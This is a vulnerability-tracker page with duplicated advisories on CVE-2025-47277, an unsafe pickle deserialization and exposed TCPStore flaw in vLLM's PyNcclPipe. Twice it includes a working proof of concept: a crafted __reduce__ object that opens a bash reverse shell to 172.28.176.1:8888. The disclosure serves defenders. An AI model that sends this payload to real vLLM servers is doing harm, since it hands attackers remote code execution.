CVE-2025-47277
criticalPriorität · verfolgen · 0EPSS 0.010 · 61. PerzentilDEEURUUSEPSS · bewertet 2026-10-27
vLLM, an inference and serving engine for large language models (LLMs), has an issue in versions 0.6.5 through 0.8.4 that ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side. The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network. The default and intentional behavior from PyTorch is that the `TCPStore` interface listens on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. As of version 0.8.5, vLLM limits the `TCPStore` socket to the private interface as configured.
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- WID-SEC-W-2025-2883Red Hat Enterprise AI Inference Server (vLLM): Schwachstelle ermöglicht CodeausführungDeutsch2025-12-18csaf · cert_bundDE
Ein Angreifer aus einem angrenzenden Netzwerk kann eine Schwachstelle in Red Hat Enterprise AI Inference Server ausnutzen, um beliebigen Programmcode auszuführen.
- GHSA-hjq4-87xh-g4fvvLLM Allows Remote Code Execution via PyNcclPipe Communication Service2025-05-20ghsa · osvUS
### Impacted Environments This issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. ### Summary vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side. A remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html Unfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. This issue was reported privately to PyTorch and they determined that this behavior was intentional. ### Details The `PyNcclPipe` implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads` , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution. 1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched: ```python from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe from vllm.config import KVTransferConfig config=KVTransferConfig( kv_ip="0.0.0.0", kv_port=18888, kv_rank=0, kv_parallel_size=1, kv_buffer_size=1024, kv_buffer_device="cpu" ) p=PyNcclPipe(config=config,local_rank=0) p.recv_tensor() # Receive data ``` 2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service: ```python from vllm.distributed.utils import StatelessProcessGroup class Evil: def __reduce__(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,)) client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, world_size=2, ) client.send_obj(obj=Evil(),dst=0) ``` The call stack triggering RCE is as follows: ``` vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata -> vllm.distributed.utils.StatelessProcessGroup.recv_obj -> pickle.loads ``` Getshell as follows:  ### Reporters This issue was reported independently by three different parties: * @kikayli (Zhuque Lab, Tencent) * @omjeki * Russell Bryant (@russellb) ### Fix * https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.
- PYSEC-2026-567vLLM Allows Remote Code Execution via PyNcclPipe Communication Service2026-06-29vendor · osvUS
### Impacted Environments This issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. ### Summary vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side. A remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html Unfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. This issue was reported privately to PyTorch and they determined that this behavior was intentional. ### Details The `PyNcclPipe` implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads` , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution. 1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched: ```python from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe from vllm.config import KVTransferConfig config=KVTransferConfig( kv_ip="0.0.0.0", kv_port=18888, kv_rank=0, kv_parallel_size=1, kv_buffer_size=1024, kv_buffer_device="cpu" ) p=PyNcclPipe(config=config,local_rank=0) p.recv_tensor() # Receive data ``` 2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service: ```python from vllm.distributed.utils import StatelessProcessGroup class Evil: def __reduce__(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,)) client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, world_size=2, ) client.send_obj(obj=Evil(),dst=0) ``` The call stack triggering RCE is as follows: ``` vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata -> vllm.distributed.utils.StatelessProcessGroup.recv_obj -> pickle.loads ``` Getshell as follows:  ### Reporters This issue was reported independently by three different parties: * @kikayli (Zhuque Lab, Tencent) * @omjeki * Russell Bryant (@russellb) ### Fix * https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.
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Referenzen (13)
Externe Belege — Patches, Meldungen, Analysen.
- https://docs.vllm.ai/en/latest/deployment/security.htmlcnnvd
- https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7cnnvd
- https://github.com/vllm-project/vllm/pull/15988cnnvd
- https://github.com/vllm-project/vllm/releasesPatchcnnvd
- https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fvcnnvd
- https://docs.vllm.ai/en/latest/deployment/security.htmlenisa_euvd
- https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7enisa_euvd
- https://github.com/vllm-project/vllm/pull/15988enisa_euvd
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